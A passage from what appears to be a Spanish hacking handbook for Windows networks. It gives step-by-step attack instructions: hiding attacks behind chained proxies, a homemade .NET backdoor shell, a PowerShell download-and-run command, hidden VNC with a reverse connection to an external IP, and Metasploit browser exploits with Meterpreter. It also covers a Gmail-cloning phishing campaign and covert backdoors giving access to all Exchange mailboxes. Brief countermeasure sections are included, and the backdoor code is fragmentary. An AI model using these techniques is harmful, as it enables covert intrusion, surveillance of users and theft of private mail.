Solo le queda cargar o descargar su documento en o desde SkyDrive. Si SkyDrive est bloqueado, tambin
puede crear su propio servidor con un certificado web.

c. Rodear para navegar

Un servidor proxy puede usarse para impedir a los empleados visitar ciertos sitios valorados como
improductivos, sin inters o peligrosos para la empresa. Los sitios web son bloqueados generalmente por la URL
de destino. Cuando el navegador pide una pgina al servidor, el proxy controla en su lista si la web est
bloqueada o autorizada basndose en su URL. Cuando el sitio web es permitido, el proxy descarga cada
elemento de la pgina, lo analiza, lo transmite al navegador y la almacena en su cach. Para evitar este
bloqueo, debe acceder a un sitio web que no tenga su URL bloqueada.

La URL define un sitio web. Entonces, cmo visitar un sitio web bloqueado? Simplemente utilizando un proxy
externo cuya direccin no ser la del sitio web bloqueado y que reenva las pginas con otra URL.

Puede encontrar proxies para navegar libremente efectuando una bsqueda en Internet.

Cuando utiliza un proxy externo, sus logins y contraseas se envan al servidor. Estas informaciones pueden
almacenarse sin su consentimiento.
Los proxies externos tambin permiten estar escondidos al realizar un ataque o al buscar informacin. La IP
dada al servidor web ser la direccin del proxy externo.

Dependiendo del proxy, la IP ser cada vez distinta. El servidor puede estar alojado en un pas lejano.

Abajo, la IP del servidor proxy utilizado es de la India.

Este tipo de servidores se utiliza mucho para no ser detectado al realizar un ataque. Para estar bien escondido,
puede configurar su navegador de modo que utilice un proxy en Rusia y, a travs de su navegador, pasar por un
proxy web en la India. Ser muy difcil para el administrador del servidor atacado remontar hasta el atacante.

8. Contramedidas

Una de las nicas maneras de reducir la posibilidad de usar un programa no previsto es definir una lista de
aplicaciones autorizadas y bloquear todas aquellas que no se encuentra en dicha lista. Puede realizar esto usando
las restricciones de software y las polticas de grupo. Piense tambin en impedir al usuario escribir en las carpetas
de las aplicaciones autorizadas aplicando permisos NTFS.

Para impedir a un usuario esconder ficheros en otros, solo existe por desgracia el anlisis con un antivirus o un
programa de terceros. FSRM solo gestiona las extensiones de ficheros. Los flujos alternativos se pueden detectar
fcilmente con la herramienta que se le ha propuesto desarrollar.
El uso de un proxy externo para navegar en un sitio web externo bloqueado puede vigilarse y bloquearse si su
proxy se encarga de las listas dinmicas de contenido. Se deben analizar regularmente los log y visitar los sitios
web sospechosos.

El robo de documentos confidenciales es, por desgracia, difcil de combatir. Una pasarela de correo o un proxy
reducen las posibilidades, pero no son en general estancos. La nica contramedida de verdad consiste, por lo
tanto, en impedir el uso del documento robado, y no el robo en s mismo. Para ello, puede clasificar sus
documentos manualmente o con la ayuda de FSRM y protegerlos cifrndolos con Microsoft RMS ( Rights
Management Services).

Tomar el control de un equipo remoto


Tomar el control de un equipo quiere decir que este obedecer a todos nuestros deseos. Si disponemos de una
cuenta de usuario en el equipo, podremos entonces activar un cierto nmero de funcionalidades previstas para la
administracin con el fin de poder seguir teniendo acceso al equipo. Tambin podemos hacer que se instalen y
activen nuestros propios programas en el equipo de un usuario con el fin de controlar su equipo.

1. Utilizacin de las herramientas de administracin de Windows

Una cuenta de usuario local puede estar ms o menos escondida en un PC o un servidor. En un Active Directory,
puede estar escondida entre la multitud de usuarios existentes. Para administrar un servidor remoto, los sistemas
de Windows proponen muchas herramientas, como Winrm, el escritorio remoto
yTelnet. Winrm y Telnet permiten ejecutar comandos remotamente. Ambos necesitan disponer de una cuenta
autorizada para la conexin.

a. Instalar Telnet Server

Para administrar un equipo remoto, vamos a instalar Telnet Server en el equipo remoto y Telnet Client en el
suyo.

Para instalar Telnet Server, use la lnea de comandos con privilegios de administrador con el comando siguiente:

pkgmgr /iu:"TelnetServer" /quiet

Configure el servicio para que arranque automticamente y modifique el contexto de ejecucin para que el
servidor Telnet se ejecute con privilegios de sistema:

Sc config TlntSVR start= auto obj= localsystem

Despus arranque el servicio:

Sc Start TlntSVR

Puede cambiar el puerto del servidor con el comando:


b.
Tlntadmn config port=443

Usar el Cliente Telnet

Para poder conectarse a un servidor Telnet, debe disponer de un cliente. Desde Windows Vista, Telnet Client no
se instala por defecto. Puede instalarlo con el comando que sigue o hacerlo por el Panel de control:

pkgmgr /iu:"TelnetClient" /quiet

Una vez instalado el programa, arranque Telnet con la direccin IP o el nombre del equipo remoto como
parmetro. Si ha cambiado el puerto, adalo como segundo parmetro.

Telnet nombreEquipo

Una vez conectado, debe introducir sus credenciales.

Es la manera ms simple de tener acceso remoto a un equipo. Resulta sin embargo, complicado de poner en
marcha, ya que la persona que ejecute su programa trampa debe tener privilegios de administrador y debe
disponer de una cuenta en el equipo remoto.

c. Usar PuTTY

Si no puede instalar Telnet en su equipo, puede descargar y usar PuTTY. Descargue el programa en el siguiente
enlace: http://www.putty.org

Una vez descargado, puede ejecutarlo sin instalacin. Solo debe conectarse indicando que quiere utilizar Telnet,
la direccin IP y el puerto si lo ha cambiado.
PuTTY es una aplicacin til que puede servir a numerosos fines. La utilizaremos como cliente potencial para
nuestros desarrollos propios.

2. Usar una aplicacin NetCommand en .NET

Telnet Server y Winrm son prcticos, pero se necesita disponer de permisos de administrador para instalarlos y
arrancarlos. Tambin es necesario disponer de una cuenta de usuario vlida, con su contrasea, en el equipo
remoto. Un usuario sin permisos de administrador no puede, por lo tanto, ser manipulado por un script que instale
el servidor Telnet. Y si la cuenta que haba creado es eliminada por el administrador, ya no podr acceder con
Telnet.

a. Crear una aplicacin de servidor

Para paliar el problema del servidor Telnet, vamos a crear una aplicacin aproximadamente similar. Esta
aplicacin debe poder ejecutarse con permisos de usuario y no necesitar login al realizar la conexin remota. El
puerto de destino deber poder elegirse para estar seguro de que la aplicacin podr recibir las peticiones de
conexin pasando por el cortafuegos local.

Cree un fichero de texto Netcmd.txt con el Bloc de notas y aada el siguiente cdigo:
using System;

using System.Collections.Generic;

using System.Diagnostics;

using System.IO; b.

using System.Text;

using System.Net;

using System.Net.Sockets;

namespace NetCommand

class Program

static private int port = 666;

static private string ejecutable = "powershell.exe";

static void Main(string[] args)

if (args.Length > 0)

int.TryParse(args[0],out port);

if (args.Length > 1)

ejecutable = args[1];

TcpListener servidor = new TcpListener(port);

serveur.Start();

Byte[] dato = new Byte[512];

String command = null;

while (true)

TcpClient cliente = servidor.AcceptTcpClient();

NetworkStream flujo = cliente.GetStream();

Console.WriteLine("Connected from " +

cliente.Client.RemoteEndPoint.ToString() + " to the server port "


Compilar la aplicacin

Para compilar la aplicacin, acceda al directorio del framework .NET y ejecute el siguiente comando:

cd Windows\Microsoft.NET\Framework\v2.0.50727

csc /out:c:\temp\netcmd.exe c:\temp\netcmd.txt

Es posible que se muestre un mensaje de aviso al compilar. Ignrelo.

Puede modificar la aplicacin para que no sea visible, para que arranque automticamente o para que su
nombre sea ms discreto. Puede tambin transformarla en un servicio de Windows para disponer de los
permisos de sistema del equipo objetivo. Todo esto est descrito en el captulo Desarrollar sus propias
herramientas de hacking con numerosos ejemplos.

c. Usar el servidor

Una vez arrancada la aplicacin, se abre y escucha por defecto en el puerto 666. Los comandos son ejecutados
por el PowerShell, a diferencia de Telnet, que usa CMD por defecto.

Para arrancar la aplicacin de servidor con un determinado puerto, aada el puerto despus del ejecutable:

El
Netcmd.exe 5985

servidor escucha en el puerto 5985, un puerto normalmente previsto para WinRM. Este puerto est abierto por
defecto en Windows Server 2012 aun sin estar activado WinRM.

Si desea usar cmd.exe en vez de PowerShell, indique el puerto y despus el nombre de la aplicacin:

El
Netcmd.exe 5985 cmd.exe

usuario pirateado por este programa no necesita permisos especiales para ejecutar el servidor. Bastar con
modificar una aplicacin o un acceso directo para que pueda conectarse al equipo remoto.
d. Conectarse al servidor

Para ejecutar comandos remotamente, arranque Telnet con la IP o el nombre del equipo y el puerto como
parmetros:

Telnet 192.168.0.123 666

Una vez conectado, escriba un comando y pulse [Intro]. El primero no se muestra, pero los siguientes, s.

Conctese y escriba un comando PowerShell, como ls. Sabr as en qu carpeta se encuentra su aplicacin.

Todos los comandos PowerShell estn disponibles, pero si desea utilizar variables, debe escribir una sola lnea y
separar los comandos por el carcter ;.

Si utiliza PuTTY:

El siguiente ejemplo demuestra el uso de un objeto .NET para realizar la descarga de un programa desde
Internet al objetivo.

$w = New-Object System.Net.WebClient;$w.DownloadFile

("http://www.sitioweb.com/app.exe","c:\users\public\app.exe")

Una vez descargada la aplicacin, puede ejecutarla indicando la ruta en la consola.

Verifique si la aplicacin se ha descargado:

Ls c:\users\public
Ejecute la aplicacin:

C:\users\public\app.exe

En una red local, tambin puede copiar ficheros desde una carpeta compartida en el servidor o desde su equipo.
Imaginemos que existe una carpeta pblica a la que todo el mundo tiene acceso, por ejemploN:\public\.

Vamos a verificar si el usuario tiene acceso a la unidad:

Si
Net use la

lista est vaca, aadiremos la unidad, despus una carpeta y copiaremos los ficheros. Al final eliminaremos la
unidad creada.

Al
net use n: \\servidor\compartido

mkdir carpeta

xcopy source n:\carpeta\destino /y

net use n : /delete /y

escribir los comandos, acurdese de aadir la confirmacin automtica, muchas veces con /y o en PowerShell -
confirm :true.

Habr observado que este sencillo desarrollo de un programa como netcmd.exe tiene un enorme potencial en
trminos de pirateo. Puede, por ejemplo, descargar VNC server en el equipo objetivo y conectarse.

El programa que acaba de probar es una imitacin de una herramienta conocida como netcat. Netcat, como
NetCommand o Telnet, solicita una conexin a un equipo remoto y solo permite el uso de la lnea de
comandos.

3. Uso de una herramienta de escritorio remoto

a. El escritorio remoto (RDP)

El escritorio remoto (RDP) ya ha sido objeto de una demostracin de pirateo; encontrar las explicaciones en los
primeros captulos de este libro. Una vez est el equipo pirateado, puede conectarse a l sin login. Pulsando
cinco veces la tecla [Mays], la ventana de comandos se abre con permisos de sistema.
En el captulo Superar las restricciones de software, encontrar una explicacin de cmo rodear la solicitud de
autenticacin. Esta tcnica no permite ver lo que hace el usuario, pero le da acceso a la sesin remotamente,
aunque el usuario haya bloqueado su puesto de trabajo.

b. VNC con conexin directa

Si el equipo no tiene activado el escritorio remoto, no se podr manipular el equipo objetivo si no se dispone de
permisos de administrador. Vamos a utilizar otro programa. UltraVNC nos permitir conectarnos y ver el
escritorio remoto del usuario. Necesita por defecto estar instalado y un icono se muestra al usuario. Esto no
resulta muy discreto y es poco interesante para nuestros propsitos.

Descargue UltraVNC en el sitio web: http://www.uvnc.com/


Abra el fichero zip y extraiga nicamente winvnc.exe y vncviewer.exe.

Los dems ficheros son plug-ins que no usaremos.

Abra la aplicacin winvnc.exe y haga clic con el botn derecho del ratn en el icono del servidor en el
men Admin Properties.

Aqu puede definir los parmetros del servidor.

Haga clic en DisableTrayIcon, modifique la contrasea y defina si es preciso otro puerto, como el 5985, y haga
clic en OK.

Esto crear un fichero de configuracin, UltraVNC.ini. Si al arrancar winvnc.exe este fichero se encuentra en
el mismo directorio, har que se esconda el icono de VNS al usuario. Por lo tanto, solo son necesarios dos
ficheros para ejecutar VNC en este modo.
Una vez lanzada la aplicacin en el equipo objetivo, puede conectarse al escritorio remoto del usuario usando la
segunda aplicacin vncviewer.exe.

Abra el programa e introduzca el nombre del equipo o su IP y el puerto si lo ha modificado.

Una vez establecida la conexin, debe indicar la contrasea definida en la configuracin del servidor.

Ahora tiene acceso al escritorio y puede ver lo que el usuario hace, todo esto discretamente.

c. VNC en conexin inversa

Hemos podido conectarnos al equipo objetivo, pero esto solo es posible si el cortafuegos y el puerto indicado
estn abiertos. No siempre resulta evidente encontrar un puerto de entrada autorizado, sobre todo si el
administrador ha configurado polticas de grupo eficaces para permitir solo lo necesario. Debemos, para paliar
este problema, invertir el sentido de la conexin. Por defecto, todas las conexiones salientes estn permitidas.
Para invertir el sentido de la conexin, activaremos la escucha en el cliente y pediremos al servidor que se
conecte a ella.

Para pedir al servidor que se conecte automticamente al cliente:

winvnc.exe -autoreconnect -connect 91.121.24.95::8080

Arrancando as el servidor, se conectar automticamente al cliente y reintentar la conexin si no la consigue.

Para activar la escucha en el cliente, arrnquelo con los siguientes parmetros:


vncviewer.exe -listen 8080

Una vez el servidor haya arrancado en el equipo objetivo, solo tendr que esperar unos instantes para ver el
escritorio remoto del usuario.

Las tcnicas para crear un engao e incitar a un usuario a caer en la trampa han sido explicadas en los
captulos anteriores; los pasos completos no se explicarn, por lo tanto, en este captulo.

Use Iexpress, cree un paquete con su aplicacin y haga que la vctima lo descargue por medio de un acceso
directo usando PowerShell, o cree un acceso directo trampa en un fichero zip que apunte a la aplicacin
almacenada en una carpeta compartida de la red que sea accesible por el usuario.

4. Contramedidas

La directriz de estas aplicaciones es el uso de la red. Debe, por lo tanto, impedir absolutamente que una
aplicacin no autorizada pueda gestionar el trfico entrante o saliente. Desde Windows Vista, Microsoft integra un
cortafuegos potente capaz de bloquear tanto el trfico entrante como el saliente. Basta con configurarlo para que
solo autorice lo necesario para la empresa. Para ello, use las polticas de grupo para crear reglas precisas que
integren si es posible los equipos origen, los equipos destino, as como las aplicaciones autorizadas. Para saber lo
que es til o no, puede, antes de bloquearlo todo, loguear la actividad del cortafuegos y analizarla para crear las
reglas adaptadas a su entorno.

Tomar el control mediante vulnerabilidades del sistema operativo o


de las aplicaciones
El sistema operativo y las aplicaciones no son sino lneas de cdigo compiladas por humanos. Dado que los errores
son humanos, tarde o temprano aparecen en las aplicaciones creadas por nuestros queridos desarrolladores.

1. Las vulnerabilidades del sistema operativo y de las aplicaciones

Las vulnerabilidades son puntos dbiles detectados que pueden ser usados por un pirata para comprometer un
sistema a travs de una debilidad del sistema operativo o de una aplicacin instalada. Las vulnerabilidades, una
vez detectadas, son la mayor parte de las veces comunicadas al proveedor del programa, que las corrige. Crea un
paquete correctivo (o patch) que distribuye a todos los que usan su programa. Por norma general, el patch impide
la explotacin de esta vulnerabilidad por parte de una persona malintencionada. Algunas veces, las
vulnerabilidades descubiertas se revenden a los piratas para convertirse en lo que se llama una
vulnerabilidad Zero-day, una vulnerabilidad que no dispone todava de un patch que proteja la aplicacin o el
sistema operativo. Este tipo de vulnerabilidad es muy eficaz, ya que, aunque el sistema operativo est
actualizado, puede sucumbir a un ataque.

Los piratas informticos realizan tambin ingeniera inversa sobre los patchs distribuidos por los proveedores para
buscar el error solucionado, con el objetivo de poder explotarlo en sistemas operativos y aplicaciones que no
estn actualizados.
a. Base de datos CVE

Las vulnerabilidades se referencian en una base de datos. Estas bases de datos se llaman CVE, deCommon
Vulnerabilities and Exposures. El gobierno americano las utiliza para transmitir las informaciones de las
vulnerabilidades a la mayor cantidad posible de personas. Puede abonarse a reportes para estar informado en
cuanto una vulnerabilidad es descubierta.

Puede consultar las CVE en la direccin: http://cve.mitre.org/cve/

Estas informaciones pueden ayudarnos a saber si los sistemas operativos o las aplicaciones usadas en nuestra
empresa podran estar comprometidos. Una bsqueda le da rpidamente informacin sobre las ltimas
vulnerabilidades publicadas, con el impacto, el riesgo al que est expuesto, si el ataque puede realizarse por
red, si es necesario autenticarse, as como la complejidad de realizacin de un ataque. La base de datos da en
general un enlace hacia el patch que corrige la vulnerabilidad.

Esta herramienta puede servir para proteger y mantener el entorno de trabajo, pero tambin puede servir para
preparar un ataque.

b. Bsqueda de vulnerabilidades con Nessus

Es complicado conocer las versiones y actualizaciones de los sistemas operativos y las aplicaciones que
deseamos atacar. Para encontrar las vulnerabilidades en una red, es ms sencillo usar un software que se
encargue de realizar el inventario por nosotros.

Existen multitud de herramientas; las ms conocidas y completas son Nessus y Openvas. Sin embargo, de
estas dos herramientas, solo una se puede instalar en Windows: es Nessus.

Una vez instalada, debe definir un nombre de usuario y una contrasea. Si la pgina web no se muestra, abra el
navegador con la URL https://localhost:8834.
Despus debe inscribirse para usar el programa. Cuidado! Solo la versin Home es gratuita.

Una vez se ha registrado, la aplicacin descarga las ltimas actualizaciones. Puede autenticarse con las
informaciones indicadas durante la primera configuracin.

En el men, acceda a Scan, y despus a New Scan. D un nombre, seleccione la estrategiaInternal Network
Scan y despus la IP, el nombre o la red que se ha de escanear. Pulse el botnLaunch.
Espere a que el escaneo se termine y acceda a la pestaa Results para abrir el informe del escaneo.

Descubrir los equipos, as como las vulnerabilidades detectadas. Algunas pueden explotarse directamente para
conectarse de forma remota al objetivo.

Nessus es una herramienta interesante para saber si la infraestructura de la empresa est actualizada. Los
servidores estn generalmente menos actualizados que los PC. Cuando un servicio (SharePoint, Exchange, Lync,
Terminal Server o tambin los servidores web) funciona, solo algunas veces se actualiza. Estos servicios son, por
lo tanto, objetivos primarios para un ataque desde el interior de la empresa.
2. Metasploit y Armitage

El uso de una vulnerabilidad es completamente distinto al de una aplicacin trampa, ya que en el caso de una
vulnerabilidad el usuario no necesita forzosamente intervenir. Una conexin en un equipo que escucha un servicio
no actualizado, la visita de un sitio web o la apertura de un PDF corrompido pueden bastar para comprometer un
equipo.

Metasploit es una plataforma de bsqueda de explotacin de vulnerabili-dades de los sistemas operativos y las
aplicaciones. Sirve de herramienta de auditora y prueba o de herramienta de ataque. Se actualiza con frecuencia
y permite analizar un equipo, propone ataques y entrega payloads. Un payload es lo que vamos a realizar con el
ataque, como ejecutar comandos remotos, conectarse al servidor VNC para obtener el escritorio de la vctima,
copiar ficheros, etc.

a. Instalar Metasploit en Windows

Antes de instalar Metasploit y Armitage, cree una carpeta especfica y desactive el antivirus. Si no lo hace, al
descomprimir el programa, su antivirus lo detectar y eliminar la mayor parte de los exploits. Debe
desactivar tambin el cortafuegos para estar seguro de que no le va a perjudicar al realizar un ataque.

Cree el directorio C:\Metasploit\ y descargue Metasploit en la direccin:http://www.metasploit.com/


Introduzca la ruta de la instalacin indicando la carpeta que acaba de crear:

Defina el puerto de escucha del servicio:

Avance al siguiente paso y deje que el programa instale sus ficheros, bases de datos y scripts.
Metasploit est ahora disponible en la URL definida al elegir el puerto de escucha: https://localhost:3790/

Debe indicar un nombre de usuario y una contrasea:

Debe activar el producto haciendo clic en GET PRODUCT KEY.

Puede elegir entre la versin de pago, ms completa y de prueba durante 7 das, y la versin Community,
gratuita. En el caso de un ataque breve, puede elegir la versin de prueba. Pero si desea usar Metasploit ms
tiempo, elija la versin Community.
Regstrese y active el producto. Despus podr acceder a la interfaz de Metasploit.
Una vez instalado, acceda a la carpeta C:\Metasploit\ y ejecute el script dev_msfupdate.bat de actualizacin
de la plataforma para conseguir los ltimos exploits.

b. Instalar Armitage en Windows

Las versiones recientes de Metasploit proponen una interfaz gratuita mediante un sitio web dinmico, lo que no
ocurra en versiones anteriores. El producto results, sin embargo, complejo e incompleto debido a esta interfaz
grfica. Armitage es una interfaz completa y simple que soporta hasta hoy todas las versiones de Metasploit.
Vamos a usar esta interfaz; le facilita la introduccin al Framework Metasploit, que merece un libro para l solo.

Puede descargar el zip en la siguiente direccin: http://www.fastandeasyhacking.com/download

Puede extraer el fichero zip en la carpeta C:\Metasploit\armitage. De esta manera el antivirus no la borrar.

Al arrancar Armitage, le pedir conectarse a Metasploit, as como el directorio de instalacin de este ltimo.
c. Analizar una red con Armitage

Armitage es una interfaz grfica para Metasploit. No funciona sin este ltimo. Un anlisis con Armitage
utiliza Nmap o la consola Metasploit en segundo plano.

Para iniciar un escaneo de los equipos de su red de la empresa, acceda al men Hosts - Nmap Scan y haga clic
en Intense Scan.

Indique la IP o la subred que Nmap debe analizar:

Se abre una consola en segundo plano y enva el resultado a Metasploit.

Una vez acabado el escaneo, puede analizar los equipos buscando vulnerabilidades directamente explotables.
Para ello, acceda al men Attacks - Find Attacks.
Ahora puede hacer clic con el botn derecho del ratn en un equipo y ver los ataques potenciales que puede
llevar a cabo.

Los posibles ataques no han sido probados. Solo es un informe del sistema operativo y el puerto detectado
en el escaneo.

d. Utilizar una vulnerabilidad del sistema operativo o de una aplicacin con Armitage

Desde Windows 7, las vulnerabilidades explotables son escasas. Si el equipo que desea atacar es una versin
poco actualizada de Windows XP, es posible que tenga una oportunidad de ataque directo.

Para ello, haga clic con el botn derecho del ratn en el icono del equipo con XP y seleccione Attack - smb -
ms10_061_spoolss.

Se abre una ventana donde se le explica qu vulnerabilidad va a usar el exploit, y le pregunta dnde debe
conectarse el cliente en respuesta. Este tipo de ataque tiene pocas posibilidades de funcionar en Windows 7 o
Windows 8, a menos que se descubra una nueva vulnerabilidad en uno de los protocolos de Windows y que el
cortafuegos no proteja el servicio en cuestin.

Las vulnerabilidades que ms se pueden explotar en Windows 7 y versiones posteriores son las de tipo
aplicacin. El objetivo de este tipo de ataque es proponer a un usuario visitar una web en particular. Esta web es
una web explotable por una vulnerabilidad del navegador o de alguna de las aplicaciones que el navegador
utiliza para comodidad del usuario, como Adobe Flash, Adobe Acrobat Reader, Java, etc. Para piratear uno de
estos sistemas, vamos a usar una vulnerabilidad Java del navegador. Hubisemos podido elegir Adobe Flash o
directamente una vulnerabilidad del navegador.
Vaya a la parte izquierda, abra exploit - multi - browser y seleccione java_jre17_jmxbean. Este cdigo afecta
Java hasta la versin 1.7, de enero de 2013. La versin 2 afecta las versiones posteriores a la actualizacin
de enero de 2013. Debe estimar la versin instalada en el equipo objetivo.

Configure el valor de SRVHOST con su direccin IP y defina el valor SRVPORT con el puerto de su eleccin. Puede
configurar el valor URIPATH con un valor que le diga algo al usuario.

El servidor est creado con el exploit elegido y espera peticiones de conexin.

Si Java no se ha actualizado, es posible que le pregunte si desea actualizarlo ahora. Desgraciadamente para el
usuario, la mayor parte de las veces las actualizaciones de Java piden permisos de administrador.

Si el usuario continua, ser infectado por el applet de Java sin confirmacin.

El equipo cambia de imagen; est bajo el control de Metasploit.


Haga clic con el botn derecho del ratn en el equipo contaminado y elija Meterpreter1 - Explorey Show
Processes. Elija un proceso y haga clic en Inject o Migrate. El objetivo de estas operaciones es propagar la
infeccin en otro proceso, ya que si el usuario cierra el navegador la conexin se pierde. Solo podr migrar la
infeccin a un proceso del cual el usuario que ha abierto la pgina sea propietario.

Para manipular el equipo objetivo, haga clic en Interact y despus en Command Shell o enMeterpreter Shell.

La lnea de comandos le permitir ejecutar instrucciones en el PC.

Puede realizar una captura de pantalla desde el men. Otras acciones estn disponibles, dependiendo del
sistema operativo atacado, en Meterpreter1 - Explore - Post Modules.

Si el equipo objetivo usa un antivirus actualizado, es probable que el exploit utilizado sea detectado por este.

Este mtodo puede parecer muy simple y prctico, pero es fcilmente detectado por un antivirus. La nica
manera de usar este tipo de exploits es atacar equipos que no estn bien actualizados o usar unexploit en
cuanto se publique, antes de que los equipos y antivirus hayan sido actualizados.
e. Atacar desde la interfaz web de Metasploit

La interfaz web puede parecer complicada. Sin embargo, resulta relativamente sencilla y rpida, sobre todo si
desea empezar desde el ataque. Podr aprovechar para ver que todo lo realizado con Armitage se puede hacer
desde el sitio web.

Conctese al sitio web: https://localhost:3790/

Vaya al men Modules. Busque segn el ataque; en nuestro caso, escriba Java.

Los ataques se presentan por fecha de publicacin, lo que le da una enorme ventaja: puede fcilmente
seleccionar la ltima vulnerabilidad explotable.

Seleccione un ataque. Ver la descripcin y los parmetros necesarios para llevarlo a cabo.

Encontrar las tareas activas en el men Tasks.


Haciendo clic en l, ver el detalle de las tareas ejecutadas, as como los posibles resultados. Si una
vulnerabilidad ha funcionado, tendr tambin acceso al equipo remoto gracias a la consola especfica de
Metasploit, el Meterpreter.

El uso es, por lo tanto, muy sencillo cuando se parte de un ataque.

f. Utilizar un falso sitio web copiado con Metasploit Pro

Para engaar a un usuario, usaremos las campaas integradas en la versin Pro de Metasploit. Cuidado! Este
programa no nos dar la posibilidad de recuperar las informaciones que el usuario ha introducido. Pero aun as
resulta muy interesante, ya que dispondr de los nombres de los que son ms dbiles y que pueden pasar a ser
objetivos futuros. Puede usarlo tambin para redireccionar directamente al usuario a un sitio web fraudulento
despus del formulario.

Vaya a la URL que ha definido despus de la instalacin del producto: https://localhost:3790/


Debe activar las funciones de la versin Pro. Para ello, acceda al men Administration - Software License y
descargue los ficheros haciendo clic en GET METASPLOIT PRO TRIAL.
Vaya al men Campaigns y dele un nombre.

Haga clic en E-Mail y rellene los campos que definirn su direccin de correo electrnico.

Aada vctimas haciendo clic en Choose a Target List, y haga clic en Next.
Edite el texto que ser el cuerpo del mensaje enviado. Puede usar variables ligadas al usuario objetivo. Haga clic
en Save.
Ahora se encuentra de nuevo en el men de la campaa.

Haga clic en el botn Landing Page.


Aqu podr configurar la URL que se usar para alojar el falso sitio web, as como el lugar adonde se redirigir al
usuario despus de rellenar el formulario.

Una vez el formulario rellenado, haga clic en Next. Metasploit ha creado un formulario que puede modificar. Le
aconsejamos que, en vez de rehacer un formulario existente, elija la opcin de arriba a la derecha, Clone Website,
que reproducir un sitio web idntico segn su direccin, como en el ejemplo siguiente, que representa una rplica
del sitio web www.gmail.com.
Haga clic en Save una vez terminada la edicin.

Ahora debe configurar el servidor de mensajera que enviar el correo electrnico a las vctimas.

Haga clic en E-mail Server para configurar el servidor. Indique su servidor Exchange en la medida de lo posible. Si
esto no funciona, instala su propio servidor SMTP en su equipo y configure esta parte con Localhost como servidor.
Guarde haciendo clic en Save.

Puede modificar las informaciones respecto al servidor web, como su IP y el puerto utilizado, en el men Web
Server.
Una vez la campaa guardada, solo queda enviar el correo electrnico confeccionado a las futuras vctimas
haciendo clic en Start. Los correos son enviados y el sitio web espera las conexiones de los usuarios.

Pulsando el botn Findings, ver un informe de los usuarios que han ledo el correo, visitado el enlace o
rellenado el formulario.

3. Contramedidas

Las vulnerabilidades de los sistemas operativos son en general independientes de la configuracin de los equipos y
las aplicaciones. Felizmente, la mayora de los plug-ins de Metasploit se crean utilizando la ingeniera inversa de
los patchs publicados por los proveedores, lo que permite muchas veces que las actualizaciones de seguridad se
instalen antes de que la herramienta sea eficaz. Cuidado! Entre la salida de una actualizacin y su utilizacin para
piratear un sistema, basta con un tiempo inferior a una semana.

Sin embargo, ciertas vulnerabilidades no se crean partiendo del patch. Por lo tanto, tiene que detectarlas y
bloquear la aplicacin afectada antes de que sea el pirata informtico quien lo haga. Para ello, puede utilizar
Nessus, que permite escanear equipos de su red obteniendo un informe completo de las vulnerabilidades
descubiertas. Puede registrarse tambin en las newsletter de secunia, en la direccinhttp://Secunia.com, con las
cuales recibir un correo electrnico cada vez que se descubra una nueva vulnerabilidad.
Microsoft propone WSUS como herramienta para gestionar las actualizaciones de forma centralizada para sus
productos y sistemas operativos. Le animamos fuertemente a que ponga en marcha este servicio.

Introduccin a las puertas traseras activas y pasivas


Instalar una puerta trasera consiste en dejar en un equipo pirateado un medio de tomar o retomar el control en el
momento oportuno. Una puerta trasera activa permite una entrada directa, como un servicio a la espera de un
comando. Una puerta trasera pasiva resulta mucho ms sutil. La funcin no se activa hasta que ocurra algo
particular y este modo resulta mucho ms discreto. Necesita muchas veces la intervencin indirecta del usuario.

Conservar discretamente un acceso a un servidor o a un PC


Los mtodos que estudiaremos, en esta primera parte, son activos. Vamos a darnos los medios para reconectarnos
a un equipo.

1. Puerto de escucha para Terminal Server

Para dejar una puerta de entrada, aadiremos un puerto de escucha en el escritorio remoto.

Para aadir un puerto de escucha RDP, basta con exportar la clave de registro:
Edite el
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ fichero
Reg
Terminal Server\WinStations\RDP-Tcp
exportado
y
modifique el nombre de la clave:
Modifique
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ el valor de
la
Terminal Server\WinStations\RDP-Tcp2
clave Port
Number,
que corresponde al puerto de escucha.

PortNumber=D3E

D3E corresponde a 3390 en decimal. Podr indicar el puerto que desee.

Volvemos a importar el fichero Reg modificado. Despus del siguiente reinicio del sistema operativo, existir un
segundo puerto de escucha 3390 para el escritorio remoto. Esta modificacin solo tiene sentido si ha modificado
el sistema para evitar el login y acceder con permisos de sistema para desac-tivar la autenticacin por red, como
hemos visto al principio de este libro.
2. Programa .NET

Para conservar el control del equipo, puede usar los programas que hemos trabajado en el captulo Desarrollar sus
propias herramientas de hacking, o tambin el que hemos visto en el captulo Tomar el control remotamente. Los
medios para guardar el control en un PC son numerosos; basta con planificar su instalacin en un ataque inicial.

Conservar discretamente un acceso a un servidor web o de


mensajera
Los servidores web de una empresa estn muchas veces alojados externamente. En ciertos casos, se encuentran en
la DMZ, y raramente en la red interna de la empresa. Pero qu pasa con una infraestructura Exchange, SharePoint
o Lync? Estas aplicaciones utilizan y hasta necesitan servicios web. Estn generalmente protegidas por un
cortafuegos y un reverse proxy. Tendr que esquivar esta posible seguridad.

1. Tener acceso a todas las cuentas de correo electrnico de un servidor Exchange

Estas manipulaciones solo son posibles en la instalacin o la administracin de estos servicios para una persona
interna o un consultor que tenga permisos. Primero debe conseguir los permisos necesarios si desea aplicar estas
modificaciones. Aproveche para crear una cuenta de tipo Service escondida en una unidad de organizacin.

a. Grupo de seguridad

Para tener acceso a las bandejas de los correos de los usuarios en un servidor Exchange, deber conseguir los
permisos de administracin de las cuentas de correo. Normalmente es el propio usuario quien debe autorizarle
para que tenga acceso a su bandeja de entrada. Sin embargo, dos grupos de seguridad tienen el control total
sobre todos los directorios del correo de todos los usuarios. Estos grupos son Exchange Servers y Exchange
Trusted Subsystem.

Aadiendo su cuenta de usuario a uno de estos grupos, tendr acceso a los correos electrnicos de toda la
empresa. Le aconsejamos el grupo Exchange Trusted Subsystem, ya que no tiene asignado ningn rol en la
pgina de administracin de grupos de seguridad de Exchange. Por el contrario, el grupo Exchange
Servers permite, adems, administrar los servidores.
Para aadir un usuario a este grupo, abra la consola Usuarios y equipos de Active Directory.

Vaya a la unidad organizativa especfica de Exchange, Microsoft Exchange Security Groups, y aada su cuenta
de usuario al grupo Exchange Trusted Subsystem.

Es posible que esto no funcione. En ese caso, deber asignar los permisos directamente de su cuenta en las
carpetas de la cuenta de correo.

Add-mailboxpermission -identity "user@domaine.es" -user

"ServicesEx@domaine.es" -accessright fullaccess

La aplicacin de estos permisos puede tardar hasta 15 minutos. Es posible que no pueda acceder durante este
tiempo.

b. Apertura de una cuenta de correo electrnico

Una vez efectuada la modificacin, podr abrir las bandejas de correo y los calendarios que desee.

